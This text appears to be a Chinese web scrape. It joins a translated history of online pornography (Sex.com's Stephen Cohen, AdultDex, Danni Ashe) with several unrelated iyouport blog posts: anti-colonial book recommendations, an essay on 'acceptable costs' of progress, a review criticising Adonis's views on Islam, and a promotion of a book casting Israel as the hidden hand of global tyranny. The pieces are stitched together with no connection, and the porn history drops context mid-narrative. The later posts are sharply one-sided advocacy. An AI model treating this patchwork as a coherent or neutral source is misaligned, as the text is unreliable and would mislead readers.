新兴的大亨和互联网色情粉丝聚集在那里举行年度大会 AdultDex，恰逢 Comdex（计算机经销商博览会），这是一年一度的计算机贸易展，吸引了20万名技术爱好者前往该城镇。

自从20世纪80年代推动VCR热潮以来，Porn 长期受到电子产品展览

会的欢迎。但时代在发生变化。两年前，AdultDex 参展商被禁止参加 Comdex，因为他们在展位上展示了太多裸露的光盘，包括 CD-ROM 和色情明星。“他们的东西是淫秽的，我们不需要这些，”Comdex 发言人在1995年大会结束后告诉拉斯维加斯太阳报，如果这意味着减少50万美元的展位租金收入的话，那就这样吧。

但 AdultDex 拒绝继续保持良好状态。 1996年11月，他们只是简单地将他们的计算机和主干线移到了 Sahara 的街对面，这是摩洛哥主题的酒店赌场，在20世纪50年代很著名。在黄色圆顶尖塔闪烁的灯光下，Cohen 在入口和出口中穿梭。

在烟雾缭绕的赌场中，他的目标包括以下这些人：语速很快的大人物、带着鼓鼓的钱包和厚重的手机，穿紧身衣的成人女演员、来自爱荷华州的天真的 Comdex 参与者，他们巧妙地隐藏自己的名字。

在小型展厅脏兮兮的屏幕上展示着标题：The Dollhouse，Men in Motion，Virgins 2。在另一个展位上，一家公司正在展示 Showgirls Live，就是直播的，虽然速度很慢，但显示屏幕上有一个脱衣舞娘——这种体验可以每分钟收5美元。

对于 Cohen 来说，这是他称王的机会。他决定将成为这一切的王者，因为他拥有最受欢迎的俱乐部会所。Cohen 总是很健谈，而且很亲密，朋友从来没有看到他心情不好过。

“我不知道，”Cohen 模糊地回答道。

Hibari 无法理解为什么他如此谨慎。“一切都不清楚，”他后来回忆道。但是，他了解到，这是 Cohen 的方式，这是一种能让人保持优势并保持杠杆作用的策略，无论多么奇怪。几个星期后，Cohen 心软了指示 Hibari 与 Levinson 联系，以便在他的网站上购买宝贵的横幅广告—一张价值5万美元的横幅。

“这是天才，”他说。成人网站的营销主管 Kevin Blatt 认为，Cohen 是一个有远见的人：有人看到了流量的价值，并意识到最好的兑现方式是尽可能多地在他的网站上塞满这些广告。没多久他就红了。他以色情表演而闻名，他的 polo 衫上绣有Sex.com的标志。

但即使在 Wild Porn West 的在线统治者中，他也很快获得了不体面的声誉。他起诉任何人，以及在域名中带有“性”一词的所有人。Sexia.com的所有者 Serge Birbair 就像他所说的那样“受到 Stephen Cohen 的骚扰”。当被 Cohen 起诉时，他没有钱反击这位流量之王—

— 而是选择放手，将Sexia.com移交给了 Cohen。

“我花了很多钱为自己辩护，这让我感到非常痛苦，”正如一位色情专家在放弃自己的利益后所说的那样。“最终，我认为不值得继续这场斗争了。”Cohen 沉浸在巨大的权力中。没有人可以阻止他与Sex.com的垄断。

整个世界都注意到了在线色情爆炸的现象。虽然许多其他同类网站都在疯狂地发布，但成人网站每月收入依旧高达数百万美元。

色情创新者做的不仅仅是在线张贴图片。色情作家已经在互联网营销中找到了极好的创新，创造了在网页前“弹出”广告的模式；他们还创建了新的交付机制，安全的信用卡支付和实时视频。正如报道所说的，“互联网色情制品创作者采用了主流网站可以很好地模仿的精明策略”。

代表旧媒体性帝国的出版商鲍勃·古奇奥尼（Bob Guccione）简明扼要地向“华尔街日报”杂志解释了这件事：“有很多计算机爱好者成为了色情王。”

而且，准确说是，色情女王。女性是该行业中最具创新性和成功的企业家之一。Beth Mansfield 是一名来自阿拉巴马州的单身女人和纳斯卡球迷，当她听说人们在网上色情很赚钱时刚好失去了会计师的工作，穷得住在一个移动房里。

然而，Mansfield 不想自己制作色情片，于是她开始精心策划与其他网站链接的页面。她拒绝在她的页面上使用亵渎词汇，并用星号代替比如 sh * t和f * ck。

但也许她最伟大的创新就是品牌化—— 她命名网站为 Persian Kitty。这个名字带来了神秘感，一个女人在网站背后的想法变成了病毒式传播的热门话题—— 甚至更多，因为 Mansfield 一直在保持匿名。不久之后，她就开始高价销售网站广告。第一年她就赚了350万美元。

距离曼斯菲尔德在西雅图的豪宅几英里，一位名叫 Danni Ashe 的雄心勃勃的年轻脱衣舞娘在海滩度假期间读了一本关于 HTML 编程的书。她于1995年在网上推出了自己的粉丝网站 Danni’s Hard Drive，作为展示自己宣传照片的地方。然后，Ashe 就找到了一个更有利可图的想法—— 收取会员费，那在当时仍然是一个新想法。

她雇佣模特，张贴图片，采访的音频和视频，然后以每月15美元的价格收费—— 成为了互联网上首批订阅网站之一，另一家是“华尔街日报”。不久之后，Ashe 每年都能赚到250万美元，据报道其使用的带宽比整个中美洲都多。

随着色情大亨成为了互联网上令人羡慕的赢家，联邦政府很合时宜地改变了态度。1997年6月26日，经过一年多的关于审查互联网的激烈辩论，美国最高法院以违反第一修正案为由废除了“通信规范法”。这是一项具有里程碑意义的决定，保护年轻媒介免受政府监管。

正如滑稽演员 Dave Barry 在参观了当年的 AdultDex 大会之后所说的，“这个快速增长的数十亿美元的行业无疑将提出更新更好的方式搏得头筹。”无论好坏，在线色情就此延续下来了。

A BRIEF HISTORY OF PORN ON THE INTERNET. A stripper named Danni Ashe read a book on HTML programming and launched her own fan site. She started charging $15 a month for access, and before long, Ashe was making $2.5 million a year and reportedly using more bandwidth than all of Central America.

原文

从未"文明"：自古至今的全球加沙 - iyouport

免费书和纪录片

殖民主义是一股从根本上改变了世界的力量，播下了根深蒂固的性别暴力、环境退化和经济不平等的种子。语言的消亡、国家的诞生、我们如何理解彼此、以及我们如何理解自己，都是由于殖民化和对殖民化的抵抗而发生的。直到今天，为了经济利益而对全球人民施加的暴力仍然影响着当今世界的几乎各个方面。

10月13日发布 ——

「图」

有读者提问我们昨天发布文章时提起的

Never trust authoritarians. Never accept racism. Stand with humanity, not with genocide.

民族压迫在现代史上有着不同的表现形式，但共同点是剥削者都喜欢把自己说成是“文明的”，他们认为自己是在把“文明”的光辉带给那些粗鲁无知的“野蛮人”。

事实上由于某种原因，这类所谓的“文明”的成就包括大规模屠杀、强迫迁移、饥饿威胁和复杂的酷刑，戴着木髓帽的士绅们通常努力保持着沉默，但无论如何，所有这些还是被公之于众了。

应读者要求我们推荐这些书，关于这个地球上曾经和现在正在发生的最丑陋的殖民主义行为，以及人们如何努力与之斗争，尽管并不总是能成功。其中很多斗争今天仍在继续。

《消灭所有野蛮人》

「图」

这本书是瑞典当代著名作家之一斯文·林奎斯特的一本小书，一份关于历史和现代种族主义和殖民主义主题的强有力的声明。

林奎斯特在乘坐巴士穿越撒哈拉沙漠的途中，反思了康拉德笔下的象牙商人库尔茨的形象，以及他对“消灭所有野蛮人”这句话的使用，这句话几乎概括了几个世纪以来欧洲在非洲、大洋洲和美洲的政策。

进一步的对话需要回顾林奎斯特所处的当代欧洲并不特别感到羞耻的历史事件。在比属刚果的奴隶制国家，那里的居民必须向国王利奥波德二世提供橡胶，除非他们想让自己的孩子被处死、双手被砍掉、村庄被烧毁。传说中的先驱亨利·莫顿·斯坦利（Henry Morton Stanley）把一个十几岁的背夫吊死在树上，原因是他“开小差”（拒绝走比付费路段更远的一段路）。塔斯马尼亚人因与欧洲文明接触而彻底灭绝。

【注：塔斯马尼亚人曾经是塔斯马尼亚岛的原住民。1803年被英国入侵前，塔斯马尼亚原住民估计有大约15,000人。殖民者对原住民进行了有计划的大屠杀。历史学家将“黑色战争”看作是有记录以来最早的种族屠杀行为。】

林奎斯特从世界著名的自然科学家（如居维叶或达尔文）的著作中找到了这种对所谓的“野蛮人”的畸形残忍和不宽容的根源，他们认为历史是一个自然选择的过程，在这个过程中，“劣等”和“弱小”的种族被“唯一先进”的文明所取代。因此，自然法则本身就证明了消灭非欧洲民族是合理的。

这就是孕育法西斯的土壤。

《大地在哭泣》

「图」

历史学家彼得·科兹恩斯的这部作品聚焦于美国与北美原住民对抗的最后三十年，在这场对抗中，有一方事先注定要失败。

在书中数以百计的人物中，既有无赖，也有英雄；既有实用主义者，也有疯子；既有嗜血的杀手，也有无助的受害者。在这场冲突中，科兹恩斯绝非只描写黑人一方。是的，他展示了阿帕奇妇女和儿童可能被成批杀害，像野兽一样被猎杀，亚利桑那州的任何法庭都不会将此归咎于白人—— 但被剥头皮的同胞的尸体也给美国人留下了不可磨灭的印象。

他还指出，并非所有美国人都决心与印第安人决一死战。那些通过杀死该地区所有水牛将印第安人推向饥饿边缘的人，或者通过出售自制酒将印第安人灌醉的人，除了自己的利益之外根本不关心任何事，更不用说任何人的生命和福祉了。

美国社会中也有一些“人道主义者”，他们反对“印第安问题最终解决方案”的支持者。然而，这些“人文主义者”的特点是认为印第安人应该最终被“文明化”，或者用现在的说法是“被全面同化“，并为这类论点做辩护。

至于给印第安人带来所谓的文明，正如科兹恩斯再次表明的那样，这并不是为了改善他们的生活质量，而是为了彻底消除使他们成为定居者眼中的“他者”的文化特征。

《漫漫自由路》

「图」

这位前南非总统的自传记录了他从学生时代到身陷囹圄近三十年的漫长人生历程 —— 以及他的胜利获释。曼德拉于1974年在狱中开始撰写自传，并于1990年获释后完成。

在书的第一部分，曼德拉讲述了他的成长和学生时代；在第二部分，他讲述了南非种族隔离政权的社会政治现实以及他与之斗争的决心。众所周知，曼德拉于1950年加入了社会民主主义的非洲人国民大会，对革命运动史感兴趣的人可以从他的书中了解到许多关于破坏活动和城市游击战以及地下斗争组织的有用信息。

1956年，曼德拉被判入狱五年，后被改判为终身监禁，但无论是看守的残忍、石灰石采矿场的强迫劳动、饥饿和匮乏（南非监狱中黑人囚犯的食物分量最少），还是单独监禁，都没能击垮他的精神和必胜的意志。

这是一本振奋人心的读物，尤其是在今天的现实中，许多人可能会认为，笼罩在头顶的黑暗永远不会有一丝光明和希望。那肯定不是事实。要等到胜利的那一刻，就必须能够充满希望和智慧 。希望这本书能带给人们以鼓励。

《越南：史诗级悲剧，1945–1975》

「图」

所有殖民地国家争取自由和独立的历史都是悲惨的—— 但即使在这样的背景下，越南也显得格外突出。在印度支那战争期间，数十万越南人为争取脱离前殖民地法国获得独立而献出了生命—— 而这一切都是为了让越南丛林成为20世纪下半叶最大的地缘政治对抗的战场。

英国历史学家、前战地记者马克斯-黑斯廷斯（Max Hastings）年轻时曾亲身经历过越南战争，他在书中以令人难以置信的方式细致入微地分析了这场冲突的始末，这场冲突始于越南共产党人与法国之间的对抗，即使是希特勒的恐怖占领也没有使法国放弃自己的殖民野心。作者分析了数以千计的美国退伍军人、越南军人和成为大屠杀人质的普通平民的证词，得出结论认为，南方的亲美傀儡政府和北方的苏联支持的共产主义政权之间基本上没有本质区别。

越南人民的生命变成了两个超级大国血腥游戏中的筹码，他们说要给人民“带来自由“，但实际上却犯下了血腥的战争罪行，恐吓平民，并鼓励将持不同政见者送进集中营。因此，美国在越南战争中战败——但主要的输家是越南自己。

《跟随包尔汉·沙希迪的脚步》

「图」

这本书的作者是无政府主义作家兼记者伊利亚·法尔科夫斯基（Ilya Falkovsky），他在中国生活了八年，决定研究维吾尔族的命运：据西方媒体报道，维吾尔族是一个讲突厥语的穆斯林民族，其所居住的新疆地区已经变成了一个巨大的集中营。法尔科夫斯基指出，很多中国人似乎并不认为维吾尔人身上发生了什么不好的事，认为他们正在摆脱一种危险的意识形态，并由衷地不理解为什么他们不想像所有“正常人” 那样喝烧酒、吃烤乳猪。

法尔科夫斯基出色的新闻调查是从俄国的鞑靼斯坦（喀山省）开始的，那里是包尔汉·沙希迪的出生地（此人是未来的新疆政府主席）。

为了回答这是否是沙希迪为自己的同胞梦想的未来这一问题，法尔科夫斯基会见了俄罗斯、哈萨克斯坦和中国的数百名维吾尔族人（其中既有中国统治的反对者，也有支持者），并描绘了一个没有自己国家的民族的大型肖像。这个民族的文化身份和生存现在正受到威胁。

□ 在这里免费下载上述书籍：https://www.patreon.com/posts/93164464

9月27日内容：《不“可接受的代价”》——

「图」

他们说，何必呢，为那种早已被压垮的人们掉眼泪又有何用？毕竟，大家都是这么干的：要么进攻、杀戮、征服、并发展壮大，要么被杀戮、被征服、被消失在时间的长河中。不管皮肤什么颜色，所有民族的历史都是用鲜血写成的。也许就不该再去挑那些伤口。何不一了百了，不再疗伤，彻底摧毁 …… 这种逻辑你一定不陌生。其底线就是接受种族灭绝作为“进步”的可接受代价。

I

如果你想坚持这样一个事实：灭绝民族当然是不好的，但正因为如此，西方文明才繁荣昌盛，并做了许多其他好事，于是我们应该为种族灭绝辩护。然后你就必须保持一致：是啊，斯大林把成千上万的人淹没在鲜血中，但其结果是世界六分之一的地区实现了工业化；绑架并用锁链套住非洲人的脖子 可能不是好事，但他们在美国的后代今天的生活比许多非洲人要好得多；轰炸德累斯顿和广岛是否合理？很难说，但在那片覆盖着成千上万尸骨的土地上，发生了根本性的技术突破.....

很扯是吧，像段子是吧？因为这些问题与过去无关，这是我们这些生活在今天的人们可以回答的问题。如果今天我们认为种族灭绝和殖民化是“可以接受的进步代价”，那么就不应该对我们这个时代的历史罪行感到愤怒，因为那些罪行需要被视为为了更美好的明天而付出的“可接受的代价”。

是的，刚果的儿童剥削、中国的劳改营、孟加拉国 地下室 里为微薄工资而无休止工作的妇女都很糟糕，但我们有 iPhone，我们可以通过高科技信息技术写下一些好的东西，比如为了“包容性厕所” 而与 “有毒的大男子主义” 作斗争的精神斗志昂扬，等等 …… 什么更重要？—— 是让孟加拉国的妇女苦力能拿到体面的工资、还是让来自布朗克斯的孩子有机会以实惠的价格购买衣服，这取决于孟加拉国妇女苦力们的薪水？

剥夺成千上万人的希望和命运是可悲的，这些希望和命运使得工厂自动化和创造 **ChatGPT** 成为可能，现在仅仅一个 **Midjourney** 就可以创造那么多的“美丽”，这难道不是“进步”吗？

是的俄罗斯对乌克兰的入侵是绝对的恐怖，但像女性主义名流马里奇

卡那样的人其子女并不生活在捷尔诺波尔，而是生活在柏林、伦敦和纽约，于是这事真的有那么糟糕吗？…… 孩子们在哪里更有机会实现自己的潜力，你说？

这就是 “吸血鬼进步论”的谬误所在。它与犬儒主义无异，随时准备用他人的生命来换取自己的安逸。

II

这里最重要的是由谁来评估牺牲的 “可接受性” 和成就的 “价值”。

苏联的工业化值得吗？对于那些没进集中营、获得免费教育、工作和住房的人来说，绝对值得。但是，长眠于恐怖坟墓中的人们呢，会如何回答这个问题？他们的后代呢，会如何回答这个问题？

美国值得吗？对于那些在其建立在种族压迫、奴隶制和剥削基础上的秩序中茁壮成长并壮大的人们来说—— 是的绝对值得。但是，金矿里的阿拉瓦克人、棉花田里的安哥拉人，或者不得不从全球等级的外围逃往中心、为贝索斯打三份工、一边在饮料瓶子里撒尿一边开着优步载着醉醺醺的时髦人士逛街的移民工人，又会如何回答这个问题？

索马里、海地和 阿富汗人民 如何看待“进步的代价”？如何教导 巴勒斯坦儿童 享受 特拉维夫的 “骄傲周”？给所有“进步”的受害者一本小册子，提醒他们在中世纪他们这种人是不会受到礼遇的，每个月40美元工资，而你现在赚到的是中世纪祖先的一百倍。—— 奴隶的尊严为零，零的一百倍比零多多少，你计算一下？

所有这些问题要么导致接受压迫的辩证法，要么导致团结压迫的受害者。这种团结不仅包括保存受害者的历史记忆，让他们被压抑的流离失所的声音人性化回归，还包括努力让活着的大多数人参与决定自己的命运以及人类进步的性质和方向的进程。

什么代价是可以接受的？什么方向是可以默许的？回答这些问题的权利应该首先属于那些压迫者无视他们生命的人。

□ 更多关于巴勒斯坦的书籍（11本）。

□

原文

他自己的先知 - iyouport

免费书和纪录片

好战的伊斯兰教并不是中世纪伊斯兰传统的有机延续。它是一种政治创造。

苏丹穆罕默德·努尔 (Sultan Muhammad Nur) 的《The Mi'raj》或《穆罕默德骑着他的骏马布拉克在夜间飞行》的细节(1525–35). | Metropolitan Museum of Art

九十年代，在欧洲现代性及其成就的震撼下，穆斯林世界的知识分子分成了三个主要流派。伊朗的米尔扎·阿卡·汗·克尔曼尼等世俗主义者、和土耳其的穆斯塔法·凯末尔·阿塔图尔克运动认为，伊斯兰教应该为穆斯林的落后负责。他们逐渐抛弃了宗教（或至少是大部分宗教），采用了西方的思想和服饰。伊朗的贾迈勒丁·阿富汗尼、和埃及的穆罕默德·阿布都等现代主义者主张改革，但坚持要保留伊斯兰教的“核心” 思想。但他们并没有就核心思想是什么或改革的内容达成一致。南亚的阿布·阿拉·马杜迪等穆斯林原教旨主义者则强调，伊斯兰教是完美和永恒的；如果穆斯林面临问题，那是他们自己造成的，因为他们没有严格遵守伊斯兰教的教义。

每个团体都发明了一个 “黄金时代”，就像欧洲人在文艺复兴时期一样。世俗主义者回到了前伊斯兰教时代；穆斯林现代主义者拼贴了早期伊斯兰教的历史片段，并将它们变成了赋权宣言；原教旨主义者把目光投向了穆罕默德和他的同伴，准备重新创造他的运动的 “纯洁性” 和 “变革性” 力量。

著名的诗人和知识分子阿多尼斯属于第一类人。他于1930年出生在叙利亚西北部的阿拉维（什叶派）家庭，40年代末采用了笔名阿多尼斯（以古代近东神的名字命名），并在因政治指控入狱一年后于1956年搬到贝鲁特，他是泛叙利亚民族主义政党SSNP的成员。在贝鲁特，他创办了两本文学杂志《Shi'r》和《Mawaqif》，成为阿拉伯现代主义的主要推动者。他还不断撰写激进的诗歌和评论，导致一些人将他的影响与英语世界中的T.S.艾略特相比。他最著名的作品包括诗集《大马士革的米哈尔之歌》（Songs of Mihyar of Damascus）（1961年）

和四卷本的《修复与变革》（1974–1978年）的批评研究。

20世纪80年代中期，当黎巴嫩的危机加深时，阿多尼斯去了巴黎，此后巴黎就成了他的主要住所。然而，他仍然是阿拉伯文坛上一股不可忽视的力量，这主要是因为他经常发表对伊斯兰教的看法，委婉地说，这些看法一直是有争议的。他在两本新书中回到了这一主题，这两本书采用了与摩洛哥籍法国心理分析学家胡里亚·阿卜杜勒阿希德（Houria Abdelouahed）对话的形式。这两本书最初以法语出版，已由大卫·沃森和朱莉·罗斯翻译成英语。而这两本书抓住了许多世俗派穆斯林知识分子的困境，他们将欧洲思想理想化，同时对他们自己的社会表现出一种愤怒的居高临下的态度。

首先，谈话中充满了历史错误。例如，阿多尼斯声称，伊斯兰教拒绝甚至摧毁雕塑和意象，其实不然。一些穆斯林曾经而且确实禁止图像，但其他穆斯林（包括逊尼派和什叶派）制作了无数的意象和插图，特别是穆罕默德的意象。同样，诗歌也不是“被伊斯兰教看得很糟糕”；穆罕默德的许多亲密伙伴都是诗人。此外，穆斯林创作的诗歌，其中一些是宗教诗歌，比现代之前的任何其他文化都要多。(这本书中的这一说法尤其令人震惊，因为阿多尼斯自己就曾编辑过一本三卷本的阿拉伯和伊斯兰诗歌选集）。同样，苏菲主义“与所谓的伊斯兰文化相对立”的说法也不是真的；相反，在大多数穆斯林国家，苏菲主义与伊斯兰文化是不可分割的。还有，书中说“阿拉伯伊斯兰教拒绝西方”，这并不符合事实。自十九世纪以来，有大量的伊斯兰话语借鉴和模仿西方：奥斯曼帝国的改革（tanzimat），贾迈勒丁·阿富汗尼和穆罕默德·阿布都的宗教现代主义，卡西姆·艾敏的妇女解放观念（顺便说这些观念并没有给最近的女权主义者留下深刻印象，特别是他认为妇女应该接受教育，只有这样她们才能去培养男性领导人），穆罕默德·伊克巴勒的伊斯兰人文主义，等等 …… 这本书中的事实错误太多了，无法一一列举。

这本书还包含了无数的概念性错误，其中最糟糕的是声称伊斯兰教靠武力传播的概念。实际上，我们通常所说的伊斯兰教的征服，在大多数情况下根本就不是宗教性质的。并没有任何证据表明，630年代从阿拉伯出来的人是为了让他们所征服的人改变信仰。相反，阿拉伯人试图禁止皈依伊斯兰教。早期的伊斯兰法律手册记录了法学家之间关于给予生活在伊斯兰统治下的有经者（基督徒和犹太人）的保护，以及是否将其延伸到非一神论者（琐罗亚斯德教徒、印度教徒等）的无数辩论。否认《古兰经》中的一些经文宣扬对非信徒的暴力是没有意义的。但这些文本写得很模糊。9:29节就是一个典型的例子。它责成穆斯林与有经者作战，但它不允许穆斯林杀死他们、伤害他们、或改

变他们的信仰，只能对他们征税。同样，《古兰经》宣称，与真主同在的宗教是伊斯兰教。然而，它也宣称："对于每个社区，我们都规定了一种法律和生活方式。如果真主愿意，他将使你们成为一个单一的群族"。这些文本充斥着犹豫不决或前后不一的情况，仿佛在两种心态中纠结：对非信徒的严厉、和为他们提供另一个悔改机会的愿望。

除少数情况外，中世纪穆斯林统治者的历史实践表明，他们是容忍非穆斯林社区的。事实上，阿拉伯中东地区直到12世纪仍以基督教为主—— 而阿多尼斯和阿卜杜勒阿希德似乎完全没有意识到这一点。在一些非阿拉伯地区，穆斯林直到近代早期仍然是相对的少数民族。人们可以想到伊拉克北部的雅兹迪人，他们在ISIS的控制下看到了地狱。他们在伊斯兰世界的中心地带，沿着连接东西方的人迹罕至的公路繁衍生息。如果穆斯林像阿多尼斯和阿卜杜勒阿希德所指控的那样，定要清除不符合他们意识形态的一切，那么他们为什么要离开雅兹迪？为什么埃及直到十四世纪仍以基督教为主导？为什么犹太人被允许在穆斯林世界的任何地方生活和繁衍？为什么阿富汗的佛像在2001年被塔利班摧毁之前一直保持着完整？

这指出了阿多尼斯和阿卜杜勒阿希德的历史观点的一个更大的问题：他们将ISIS等组织所持有的观点投射到了过去，好像穆斯林一直在拥护这些观点。而事实上，激进的伊斯兰教只是一种新生的意识形态，诞生于政治动态，首先是西方、苏联和地方政权几十年来的剥削政策。众所周知，美国与激进的伊斯兰教结盟，是为了破坏阿拉伯世界的社会主义政权的稳定，打击共产主义的蔓延。这些社会主义政权反过来又玩弄伊斯兰原教旨主义来为自己的对手加分。前埃及总统安瓦尔·萨达特不就是为了破坏埃及的学生组织而释放了穆斯林原教旨主义者吗？巴沙尔·阿萨德不也是从他的监狱中释放了数以千计的伊斯兰激进分子，把他们送到伊拉克与入侵的美国人作战吗？巴基斯坦和它赞助伊斯兰激进主义以激怒印度的情况又如何呢？好战的伊斯兰教并不是中世纪伊斯兰传统的有机延续。它是一种政治创造。阿奎那、阿维森纳、阿威罗伊、亚里士多德、柏拉图等（戴着圆顶礼帽）在吉罗拉莫·达克雷莫纳 (Girolamo da Cremona) 的《哲学家争论》(Group of Philosophers Disputing) (1483) 中。 |摩根图书馆和博物馆

阿多尼斯指称，"所有在诗歌、哲学、音乐等领域撰写作品的人，那些建立伊斯兰文化或阿拉伯文明的人，都不是传统意义上的穆斯林"。这是否意味着像鲁米这样的诗人或哲学家阿维森纳和阿维罗伊都不是真正的穆斯林？当然，他们与作为一个崇拜造物主的穆斯林意味着什么这一问题进行了斗争。伊斯兰教对他们来说意味着对神的探

索，他们的答案丰富了传统。

像阿维森纳和阿维罗伊这样的理性主义哲学家认为，神给人类灌输了一个理性的头脑，它可以引导信徒们回到神的身边。他们研究古代哲学，希望它能帮助他们解决深刻的宗教问题，并且必须将其与一神论相匹配才能发挥作用。当托马斯·阿奎那想把亚里士多德的哲学与基督教的原则协调起来时，他转向了阿维森纳和阿维罗伊。(伊斯兰哲学的真正贡献是一个许多学者仍然拒绝讨论的话题，除了一个顺便的脚注）。然而，阿维罗伊也是一位杰出的传统逊尼派法学家。他的法律百科全书 Bidayat al-mujtahid（探求者的起点）是一部四卷本的伊斯兰教法参考书。如果这都不是传统的伊斯兰教，那什么才是呢？

这一反问直指阿多尼斯的本质主义论述的问题核心。伊斯兰教不是一种东西，也从来不是。《古兰经》充满了矛盾，而不是因为它的作者感到困惑。伊斯兰传统（Hadith）承认，当穆罕默德在632年去世时，并没有《古兰经》。在他死后约20年，才有了正式的法典。穆斯林最终就一个基础文本达成了一致，但从未就如何阅读它达成一致。对于圣训（或圣行），他们甚至从未就基础文本达成一致。这就是伊斯兰的传统。

根据《古兰经》的教义就可以精确地确定伊斯兰教的观点是一种现代教条，它受到世界宗教“新教化”的启发，并声称每个宗教必须以其经文为中心。事实上，每个宗教的中心文本都是与其他文本一起阅读的。例如，在传统的犹太教中，如果没有《米示拿》（被称为《口头妥拉》），就不可能理解希伯来圣经。在伊斯兰教中，对大多数逊尼派来说，先知穆罕默德的圣行也起着类似的作用。然而，什叶派指的是他们的伊玛目，他们称之为“会说话的古兰经”（al-qur’an al-natiq），因为他们说出了文本中隐藏的东西。此外，穆斯林发明了一门复杂的科学，称为 tafsīr（经文注释），从古兰经中推导出他们想在神圣的文本中找到的含义。

也有压倒性的证据表明穆斯林法学家在构建教法的方式上是“操作性的”。他们最受欢迎的先知圣训是：“寻求知识，甚至到中国”，他们将此理解为鼓励他们寻求知识，而不是消极地模仿穆罕默德。与阿多尼斯所说的相反，对他们来说，穆罕默德并不是“绝对的（最终的、最高的）权威”。许多法学家拒绝盲目追随，并经常部署理性探究。法学家阿尔·沙伊比完美地总结了这一点：“凡是在启示文本中没有明确说明，但可以通过推理得出的，都是真主的意图”。

时至今日，其回音至今仍在我们身边。苏布西·萨利赫是阿拉伯世界最有影响力的传统逊尼派法学家之一，也是黎巴嫩伊斯兰高级理事会的

副主席。他宣称，他希望将伊斯兰法 “从复杂的问题中解放出来”，并使其 “符合时代精神”。他甚至认为，“伊斯兰教法从永恒的开始就是无懈可击的，并且永远在更新”。不需要是天才也能明白萨利赫的意思。如果伊斯兰教法是无暇的，它就不需要更新。它需要更新的事实意味着法学家将做这项工作，而不是真主或穆罕默德。The face of Islamismism. | Wikimedia Commons

像阿多尼斯这样的世俗主义者把赌注押在了西方现代性上，他们认为西方现代性会“解放” 穆斯林世界。然而，尽管社会主义和世俗民族主义在二战后的几十年里在该地区很受欢迎，但世俗主义者并没有兑现他们关于赋权和自由的承诺 —— 尽管有导致这些失败的条件。自20世纪80年代以来，世俗主义者逐渐被新一代伊斯兰现代主义者所取代，他们提出了进步的愿景，无论是像阿穆尔·哈立德这样的知识分子还是像雷杰普·塔伊普·埃尔多安这样的政治领导人。他们是否会成功，取决于许多因素，包括他们所打造的伊斯兰教版本。

这在一定程度上解释了阿多尼斯为何谴责阿拉伯之春。阿多尼斯在一开始为示威者鼓了掌（尤其是在突尼斯和埃及，许多人想象阿拉伯世俗主义者会夺回他们的黄金时代），但是，一旦伊斯兰教徒明显起了带头作用，阿多尼斯的态度就变了。他重复了他以前的判断，即：“阿拉伯人除了压迫性的政权外，没有能力产生其他东西”，他把这归咎于伊斯兰教的神经症。但意识形态和信仰体系并不预示着行为；相反，人们通过部署和玩弄意识形态—— 或好或坏的方式来实现自己的目标。就叙利亚反叛者而言，他们并不拥护清真寺。这是留给他们的唯一空间，而政权的残暴，加上阿多尼斯等人的冷嘲热讽，将他们中的许多人推向了基地组织和伊斯兰国等极端组织的怀抱。

令人失望的是，阿多尼斯错过了一个反思的机会，即 为什么他这一代人在1960和1970年代取得了很大的成就，但今天却没有得到年轻穆斯林的青睐。阿卜杜勒阿希德问他：“你失去了什么？” 他反驳道：“我所失去的是我的晚年”。如果阿多尼斯告诉我们，他那一代穆斯林世俗主义者如果要重复他们的实验，会采取什么不同的做法，我们会受益匪浅。

今天的年轻穆斯林并不赞同阿多尼斯将伊斯兰教和现代性僵硬地分开的观点。Leila Ahmed、Fatima Mernissi 和 Amina Wadud 等穆斯林女权主义者利用宗教思想来促进妇女的权力。像 Scott Siraj al-Haqq Kugle 和法裔阿尔及利亚伊玛目 Ludovic Mohamed Zahed 这样的同性恋穆斯林已经通过圣训的视角探索了性行为。类似的发展也发生在伊斯兰银行（使用伊斯兰教术语的西方银行）、政治自由主义、人权和无数其他问题的领域。而阿多尼斯和阿卜杜勒阿希德似乎完全没有

意识到这些，只是重复着旧的论战。**ISIS**或一些农村所实行的东西并不代表所有的伊斯兰教。

在私人谈话中，阿多尼斯和阿卜杜勒阿希德的观点可能会被接受。但是，当公布给所有人阅读时，它们就变成了误导和污名的武器。〇

📌 最后，推荐一本书《Queer in Translation: Sexual Politics under Neoliberal Islam》，它追溯了在新的复杂道德制度中酷儿、伊斯兰教和新自由主义治理的交叉点。这是一个很棒的议题。

His Own Prophet

原文

以色列国如何作为全球暴政的幕后黑手：新书《巴勒斯坦实验场》 - iyouport

以色列和NSO-间谍产业的领主免费书和纪录片

从布尔什维克、希特勒和第三帝国、到毛泽东、再到全世界大多数简陋的独裁者，总会有一群有组织的庞大金主和无恶不作的技术精英为这个时代最糟糕的政客和军队的职业生涯提供动力。

就如中国当局在新疆磨练其监控镇压技术那样，以色列也是这样做的。

以色列的军事工业综合体将被占领的巴勒斯坦领土作为武器装备和监控技术的试验场，然后将这些武器装备和监控技术出口到世界各地的专制国家和民主国家。50多年来，对约旦河西岸和加沙的占领为以色列国提供了控制“敌人”（巴勒斯坦人）的宝贵经验。正是在这里，他们完善了自成体系的控制手段。

记者安东尼·洛文斯坦在一次全球调查中，通过秘密文件、揭秘访谈和实地报道，揭开了这个基本不为人知的世界。这本书首次深入曝光了巴勒斯坦如何成为以色列军事技术综合体的完美实验室：从大规模监控、到拆毁房屋、到无限期监禁和暴力、到驱动“创业国家”的高科技工具。

从入侵杰夫·贝索斯和贾迈勒·卡舒吉手机的“飞马”间谍软件，到出售给缅甸军队、杀害了成千上万罗兴亚人的武器，再到欧盟用来监控地中海上被遗弃淹死的难民的无人机 …… 以色列已成为全球间谍技术和防务硬件的领导者，正是这些技术和防务硬件助长了全球最残酷的冲突。随着21世纪极端民族主义的爆发，以色列建立了终极模式 ……

引文 ——

「图」

「由于以色列拒绝公布其在皮诺切特暴行中所扮演的全部角色，此事仍被蒙着一层神秘的面纱，但已经公布的文件足以揭示以色列与智利军政府之间的肮脏关系。以色列不仅培训智利人员，还协助镇压本国人民。1976年美国国会通过对智利的武器禁运后，1980年4月2日美国驻智利大使馆的一份电报承认，以色列是皮诺切特的主要武器供应商。1984年4月10日的另一份美国电报援引美国副国务卿的话说，以色列仍然是皮诺切特政权的主要武器供应商之一。这种源源不断的国防装备削弱了美国武器禁运可能带来的任何好处，因为以色列不在被禁止范围内。」

「加沙现在是以色列巧妙统治的完美实验场。它是民族主义的终极梦想，无限期地囚禁巴勒斯坦人。

……如今，加沙居民已被置于强制控制的实验中，最新的技术和工艺在此接受检验。

